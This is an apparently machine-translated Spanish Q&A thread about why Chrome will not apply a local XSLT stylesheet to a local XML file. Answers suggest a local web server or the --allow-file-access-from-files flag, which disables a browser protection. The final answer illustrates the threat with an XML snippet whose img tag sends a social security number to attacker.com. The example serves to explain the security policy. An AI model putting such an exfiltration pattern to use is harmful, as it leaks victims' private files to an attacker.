2010-09-30 31 views
64

Estaba buscando en xslt y comencé a probar con los ejemplos en w3schools.¿Se puede hacer Chrome para realizar una transformación XSL en un archivo local?

Sin embargo, cuando guardo los archivos xml y xsl en archivos y trato de abrirlos localmente, cromo no realizará la transformación xsl. Simplemente muestra una página en blanco.

He agregado la etiqueta <?xml-stylesheet type="text/xsl" href="style.xsl"> al documento xml, y firefox la muestra como se supone que debe verse. Además, si miro los archivos a través de un servidor web, Chrome muestra el archivo como se supone que debe verse.

¿Es que Chrome tiene un problema para encontrar la información de la hoja de estilo cuando el enlace es local? Cambiar el href a file:///C:/xsl/style.xsl no hizo ninguna diferencia.

Actualización: Este parece ser un efecto secundario de una política de seguridad to not treat file:///* as same origin. Esto hace que aparezca el siguiente error en la consola:

intento inseguro al cargar el archivo URL: /// C:/xsl-rpg/style.xsl del marco con el archivo URL: /// C: /xsl-rpg/data.xml. Deben coincidir los dominios, protocolos y puertos.

+1

Parece que desde el protocolo 'file:' Chrome arroja el mismo error de dominio. –

Respuesta

54

La respuesta corta es "No, utiliza uno de los diverse set of browsers por ahí".

La razón esto no funciona se debe a un problema de seguridad que Chrome ha abordado de una manera polémica [1][2][3][4], mediante el bloqueo de archivos XML de acceso a los archivos XSLT locales en el mismo directorio, mientras que los archivos HTML puede acceder a los archivos .CSS en el mismo directorio muy bien.

A través de los problemas mencionados anteriormente, los usuarios han pedido un mensaje de error más claro (ya que los dominios, protocolos y puertos de hecho coinciden), o al menos mostrar el XML sin el estilo. Los desarrolladores de Chrome han ignorado estas solicitudes.

+12

La decisión de Chrome es retardada. Si bien su [preocupación de seguridad] (https://code.google.com/p/chromium/issues/detail?id=4197#c14) tiene sentido, los archivos XML deberían poder cargar hojas de estilo XSL desde el mismo directorio, al igual que Los archivos HTML pueden cargar imágenes y scripts desde el mismo directorio. Hay un [problema que puede destacar] (https://code.google.com/p/chromium/issues/detail?id=47416) pero el equipo de desarrollo de Chrome ha prohibido nuevos comentarios, a pesar de que se quejaron de que no se puede cuantificar cuán mal los usuarios querían que se relajase el origen del archivo local. –

+1

Dato interesante: Safari en Mac (8.0) funciona bien con XSLT local, pero Safari en iOS (8) simulador (y supongo que también en iOS) tuve el mismo error que en Chrome "Dominios, protocolos y puertos deben coincidir . ". Pero si voy a implementar UIWebView en la aplicación y cargar XML con XSLT todo funciona bien. –

+0

pequeño punto en el uso de otro navegador cuando la tarea es corregir una representación xslt particular en los navegadores Chrome ... – n611x007

43

Puede hacerlo localmente utilizando los indicadores de línea de comandos de Chrome.

La bandera específica es --allow-file-access-from-files

En OS X: desde Terminal.app ejecutar /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

En Windows: Del orden de marcha rápida %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Nota: Es probable que tenga que dejar de fumar si Chrome actualmente se está ejecutando de otra manera Ch

+0

Esto no parece funcionar para mí en Windows 7. Encontré chrome.exe aquí: 'C: \ Program Files (x86) \ Google \ Chrome \ Application', y el comando --allow-file-access-from-files se ejecuta muy bien, pero mi documento XML local (transformado por un archivo local XSLT) no se muestra. –

+2

Quizás tenga que matar todos los procesos de Windows en ejecución para chrome.exe en el administrador de tareas de Windows a mano. Para mí, esto funcionó. –

+1

'/ Applications/Google \ Chrome \ Canary.app/Contents/MacOS/Google \ Chrome \ Canary --allow-file-access-from-files' funcionó para mí. Obviamente estoy ejecutando Chrome Canary. Después de ejecutar este comando, se abrirá una nueva ventana de Chrome y le permitirá realizar su Transformación XSL. –

6

Si quiere apegarse al OP, la respuesta es No (como han señalado otros) pero una forma de solucionar el problema es ejecutar un simple servidor web y archivos abiertos a través de http en cromo. Si tiene instalado Python 2.x, puede ejecutar un servidor web escribiendo:

python -m SimpleHTTPServer 

O en 3.x pitón:

python3 -m http.server 

y luego abrir el archivo usando http://localhost:8000/yourfile.xml en cromo.Esperemos que solo quiera hacer su trabajo y no es algo crucial tener que abrir el archivo usando file://

+0

excelente solución, gracias! – Kostanos

2

Se tardó un poco de descifrado en la página de Errores de Chrome - están muy interesados ​​en no explicar cuál es el problema, y por qué eligieron romper a todos en lugar de no romper a todos.

Supongamos que tengo un archivo XML - alguna parte - en mi disco duro, por ejemplo:

C: \ Users \ Ian \ Documents \ Impuestos \ StudioTaxReturn_2015.xml

Y una maliciosa entidad - alguna manera - logró soltar un archivo XML malicioso en el ordenador, por ejemplo:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Imagínese TrojanVirusWorm.xml contiene una instrucción de procesamiento de estilos (PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> 

El atacante entonces instruye a mi navegador para navegar al archivo trojanVirusWorm.xml guardado localmente.

Al parecer hay una manera de que un archivo XML puede leer el contenido del archivo XSD (en lugar de ser transformado por el archivo XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> 
    <!--And then a miracle happens, and this XML file is able to read 
     the contents of the stylesheet xml file--> 
<html> 
    <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> 
</html> 

No entiendo cómo un archivo XML puede lee un archivo de hoja de estilo. Pero el equipo de Chrome nos asegura que es un peligro y que no se puede resolver.

Cualquier otro navegador lo resolvió. Lo resolvieron because it's not a problem.

Cuestiones relacionadas